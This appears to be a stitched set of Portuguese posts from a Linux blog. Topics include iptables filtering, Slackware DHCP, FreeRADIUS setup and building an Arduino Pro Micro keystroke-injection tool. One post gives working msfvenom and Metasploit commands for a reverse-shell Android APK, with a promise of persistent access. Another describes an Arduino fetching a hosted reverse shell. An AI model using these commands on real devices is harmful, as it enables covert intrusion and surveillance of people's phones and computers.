Pessoal, vamos aqui dar uma olhadinha em alguns pontos do nosso vídeo sobre o Arduino Pro Micro…
Como eu já havia dito no Artigo sobre o Digispark eu faria algo sobre o Arduino, bem similar porém por se tratar de um dispositivo de maior performance, não quando falamos de processamento, mas em diversos outros fatores, inclusive pela aplicação.
Certo, que o vídeo tenha sido de alguma valia e eu acredito que tenha sido, eu vou aqui abordar alguns assuntos que não foram abordados no vídeo pois o deixaria com um tamanho muito grande e até cansativo para todos nós. Ok?
Um dos Tópicos que gostaria de abordar, porém não tive oportunidade era sobre as especificações do Pro-Micro. Então, deixo para vocês o link do datasheet do carinha.
Outros que eram para ter sido debatido era as instruções dos códigos usados, e rapaz, se você já tem algum conhecimento não terá alguma dificuldade, mas caso não tenha eu realmente reforço o que disse no vídeo, leia um pouco sobre.
O primeiro código:
No primeiro código que escrevi, e enviei ao Arduino no vídeo nós realizamos uma simples execução, abrir um navegador e depois abrir um site, especificamente o prefirolinux.com.
Este foi o código(primeiro) usado por mim no vídeo.
Depois disso, mostrei um código um pouco maior, também realizei a conexão ao kali e de forma clara acredito ter falado um pouco sobre o Arduino Reverse Shell Generator( ).
Este por sua vez, facilitou muito o processo realizado naquele instante, claro, não temos obrigatoriamente que criar todos os arquivos usando o shell generator.
Bom, depois de baixar o Programa e fazer todo aquele processo, faltará o código, e isso pode ser encontrado abaixo.
Este código, está configurado de forma a acessar um server especifico e abrir a shell.txt.
Caso for usar este código, faça as devidas alterações no link onde está hospedada sua shell… 😀
Com isso, basta seguir o passo a passo do vídeo e não terá como dar errado.
Para a mudanças de caracteres, farei um mapa das modificações em um post a parte e agradeço a todos pela visita.
Amanhã ou depois irei upar um novo vídeo, com mais recursos e novidades.
Olá, meu nome é Thiago Ferreira e sou um dos colaboradores do PrefiroLinux, hoje mostrarei como podemos executar um bloqueio seletivo de whatsapp e facebook usando apenas o iptables. Muito útil em ambientes onde se usa proxy transparente e não há a possibilidade exectuar os devidos bloqueios e liberação pelas ACL’s do squid.
Aqui faremos de uma forma simples que requer apenas o conhecimento dos ips a serem bloqueados , estes se tratando da rede interna. E os ips que serão liberados, no caso apresentado os ips de nível publico.
Aqui deixo o script de forma bem simples, comentada e bem apresentado, inclusive com a notação de que cada comando fará, como o iptables tratará as regras básicas descritas.
Esse conteúdo originalmente foi incluído em minhas rotinas de bloqueio por volta de junho de 2015, após pesquisas feitas principalmente no linuxquestions.org e adaptado as minhas necessidades. Então, para futuras duvidas e buscas a base de busca deve ser o linuxquestions.
Sendo que aqui no nosso fórum temos o devido espaço para quaisquer esclarecimentos, vide; http://forum.prefirolinux.com
As linhas são auto explicativas, os comentários devem permanecer com o “#” antes das linhas que não são parte do script afim de evitar quaisquer erro de leitura do bash.
Criem os arquivos, bloqueio_seletivo, ipsliberados e ipsinterno
$nano /usr/share/bloqueio_seletivo
e dentro dele insira o seguinte script
Na lista de ipsliberados entre com os ips disponiveis no proprio site do whatsapp: https://www.whatsapp.com/cidr.txt .
Basta adicionar a lista a um arquivos em “/usr/share” : $nano /usr/share/ipsliberados Como exemplo, poderiamos ter uma serie de ips nessa ordem:
31.13.58.55 31.55.44.77 178.88.14.100
Adicione os ips, e crie um novo arquivo para inserirmos os ips da rede interna:
$nano /usr/share/ipsinterno
Em ipsinterno insiram os ips da sua rede, lembrando de seguir a seguinte regra.
Ips que serão bloqueados devem conter o “#” antes, pois o cut fará a leitura levando em consideração que esses são os unicos que devem ser tratados. #10.10.10.44 #10.10.10.24 10.10.10.8
No caso acima, somente os dois primeiros serão bloqueados de acessar os serviços dos “ipsliberados”, o “10.10.10.8” terá total acesso ao trafego.
Caso deseje, liste apenas os ips permitidos, sem a necessidade de usar o “#” antes do ip, ficando assim: 10.10.10.55 10.10.10.22 …
Aqui um exemplo do script limpo e sem comentarios…
Lembrem-se, leia todo o conteúdo do post inclusive do script para melhor entendimento.
Suporte no forum do prefirolinux.
Boa diversão
Vou ensinar a vocês como ativar a opção de minimizar os aplicativos abertos no Launcher do unity. Lembrem-se que esta opção só funciona legal quando se tem uma única sessão do aplicativo aberta.
Em primeiro lugar, para conseguir habilitar esta opção, precisaremos de um app chamado unity-tweak-tool. Para instalar, executamos o comando:
sudo apt install unity-tweak-tool
OBS: Na versão 16.04 do Ubuntu, o comando “apt-get” foi “reduzido” para apenas “apt”, porém vai da sua preferência, todos os dois funcionam perfeitamente.
Feita a instalação do app, clicamos sobre o botão “Pesquisar no seu computador” ou simplesmente apertamos a tecla Super (não é Iniciar… rs) e procuramos pelo nome unity-tweak-tool, conforme print abaixo:
Com o app aberto, clique na opção “Lançador”.
Na tela que se abriu, marque a flag “Minimize single window applications on click”.
Amigos, mais uma vez é um prazer imensuravel estar por aqui e poder compartilhar um pouco do meu conhecimento com essa grande comunidade.
Vamos configurar um Slackware para servir internet e DHCP ?
O video aborda as configurações basicas necessarias para que possamos ter nosso firewall funcinando. Este video será o primeiro de uma serie que farei a respeito do sistema, então vamos lá.
Primeiro, faça um backup das configurações atuais.
cd /etc/
mv dnsmasq.conf dnsmasq.conf.bkp
nano dnsmasq.conf
Adicione as linhas em cinza abaixo ou crie as regras de acordo com suas necessidades. #ARQUIVO DE CONFIGURAÇÃO DHCP SERVER #DECLARAR ABAIXO A INTERFACE A SER USADA interface=eth1 #<IP INICIAL>,<IP FNAL>,<MASK>.<LEASE> dhcp-range=10.22.33.100,10.22.33.120,255.255.255.0,12h #GATEWAY PADRÃO dhcp-option=3,10.22.33.1 #SERVIDORES DNS dhcp-option=6,10.22.33.1 #SERVIDOR DE NOME – SUFIXO DNS dhcp-option=15,slack-video.prefirolinux.com # dhcp-authoritative
rc.firewall
Siga os comandos para a criação do script
cd /etc/rc.d
nano rc.firewall e adicione as seguintes linhas destacadas em vermelho:
Gente, nesse video eu mostro como com poucos comandos você pode explorar um Android na versão 6.0.
O video não tem intenção de ensinar ou induzir ninguém a invadir a privacidade de terceiros, mas sim demonstrar que falhas podem ser exploradas.
Usei apenas o msfvenom sem opções de encoder, arquitetura ou outros, basicamente apenas um exploit gerado pelo kali e que me deu acesso de forma reversa ao Android.
Aparelho : Moto G segunda Geração com android 6.0 com ultima atualização de segurança instalado.
Comandos usado neste video…
Criar o exploit, substitua ip pelo seu ip, porta pela devida porta e de o nome do app: msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=PORTA -o app.apk
Para estabelecer conexão : msfconsole
use multi/handler
set payload android/meterpreter/reverse_tcp
set lhost IP_KALI
set lport porta
exploit -j ou run ou somente exploit…
Bom, por hoje é só, logo mais mostro como deixar este exploit como algo que inicia todas as vezes que o dispositivo for ligado, obtendo assim um acesso monstro ao Android….rsrs
abraços
Imagine você com R$34,00 criar uma ferramenta bem semelhante ao Usb Rubber Ducky que hoje é vendido no Brasil por no minimo R$500. Agora imagine que nós iremos ver como fazer isso de uma forma simples, pratica e bem funcional.
Assunto de Hoje: Transforme seu Pro micro em uma poderosíssima ferramenta de testes de intrusão.
Com o dólar lá nas alturas e até mesmo com o interesse em criar você mesmo novas ferramentas as vezes somos colocados frente a situações que acabamos por economizar muitos ‘Termes'(R$). Além claro de passar divertidos momentos brincando com aquilo que mais gostamos.
Veja o Vídeo:
Nesse tutorial/Artigo/Receita de bolo nós iremos ver como fazer isso. Aconselho ver o vídeo para melhor entendimento do assunto abordado, pois lá eu tento dar detalhes do uso e simplifico as ações realizadas para construir esse brinquedinho.
Para isso precisaremos de:
Arduino Pro Micro
Leitor/Adaptador de cartão SD
Um cartão Micro SD.
Com o material em mãos, a parte mais chata é realizar a soldagem, eu pelo menos por ter um problema nos nervos dos braços estou tremendo muito, o que me impede de realizar uma soldagem cirúrgica. Porém, por menos bonito que seja ainda assim consigo fazer alguns itens se tornarem funcionais.
Nesse caso, iremos ligar o Arduino diretamente ao leitor/adaptador de cartão, a sequencia de solda para os pinos são:
Depois de realizar a solda dos devidos pinos a seus respectivos pares devemos realizar um teste para verificar se tudo correu bem. Caso sim, ai iremos para o próximo passo.
Para fazer o teste eu indico que você use o seguinte código, esse disponível diretamente do Arduino.CC .
Segue o código:
Se após enviar o código para o Arduino e ele gravar no seu cartão SD um arquivo(como o default do cod.) chamado ‘TESTE.TXT e nele escrever a seguinte linha: “testing 1, 2, 3.” então, todos os seus passos anteriores foram feitos com sucesso e já pode ir para a próxima etapa.
Importante observar a linha 16, onde está : if(!SD.begin(4)){
Se feito de acordo com a sequencia de conexão acima então, obrigatoriamente deve-se usar o pino 10 onde está a atribuição do valor 4. Caso tenha usado o 4, nada precisa ser mudado.
Nesta Etapa daremos inicio a compilação do codigo que será o interpretador dos nossos scripts.
Para isso, basta entrarmos em : https://github.com/Seytonic/Duckduino-microSD e posteriormente clonar ou fazer download do projeto que está disponível. Algo bem semelhante a : $git clone https://github.com/Seytonic/Duckduino-microSD.git
Após isso, entre no diretório recém criado, dentro dele vá em Duckduino-microSD e veja que só existe um arquivo, este com o nome de Duckduino-microSD.ino
Feito os passos acima, abra o IDE do Arduino, procure pelo arquivo .ino baixado e abra para que possa compilar e enviar ao Arduino. Feito isso, só precisaremos de entender agora como irá funcionar o nosso Sistema.
O Arduino então está programado para realizar a interpretação de comandos pre-estabelecidos e que estejam em um arquivo que é referenciado no código carreado.
Assim que conectamos o cabo ao pc, o arduino faz a leitura do arquivo no cartão, interpreta e executa isso.
Ou seja, o nosso Arduino é praticamente um USB R. Ducky, só temos menos processamento, mas na pratica o funcionamento é 90% ou mais similar.
Para que possamos fazer os scripts nós deveremos seguir uma sintaxe bem diferente da apresentada no vídeo anterior, desta vez usaremos praticamente o que é usado no próprio Rubber, ou seja, poderemos com pequenas alterações fazer com que nosso arduino execute as centenas de códigos já disponíveis, ou, criar os nossos próprios. Isso irá variar com certeza.
Um código usado por mim que tem basicamente a mesma função do outro vídeo é:
Para testar numa live, acesse, http://seytonic.com.
Caso deseje pode também clonar direto na sua maquina, o link para download é o seguinte: https://github.com/Nurrl/Duckuino
Vejam só o quanto ele diminui de tamanho. Fica muito show 😉
Bom, agora o que nos resta é copiar esse código para o cartão de memoria. Após copiar para o cartão você espeta no leitor/adaptador e com um cabo USB apropriado, conectar ao PC.
Esse modelo de executar os scripts simplifica e ao mesmo tempo facilita e muito a criação e edição dos nossos ‘programas’. Isso é muito simples, funcional e pratico.
Link para os scripts já existentes do USB Rubber Ducky : https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads
Neste vídeo, vamos trabalhar de forma diferente do primeiro, aliás, é interessante que você tenha visto o primeiro para que possamos entender as mudanças nas configurações em relação a ele.
Então, vejam o vídeo, no mais alguns dos comandos usados estão disponíveis logo a baixo e eu estou atualizando esse post (infelizmente estou com um problema no nervo do braço esquerdo e quase não estou conseguindo digitar, então irei atualizando calmamente isso. OK?)
Os comandos usados neste vídeo foram: root@mysql/# mysql -uroot -pThiago123 mysql> create database radius; mysql> grant all privileges on radius.* to radius@localhost identified by 'Thiago123'
mysql> \q
Bye
Importando as databases, ou scripts que já vem preconfigurados com o freeradius: root@mysql/# mysql -uroot -pThiago123 radius < /etc/freeradius/sql/mysql/schema.sql root@mysql/# mysql -uroot -pThiago123 radius < /etc/freeradius/sql/mysql/nas.sql root@mysql/# mysql -uroot -pThiago123 radius < /etc/freeradius/sql/mysql/ippool.sql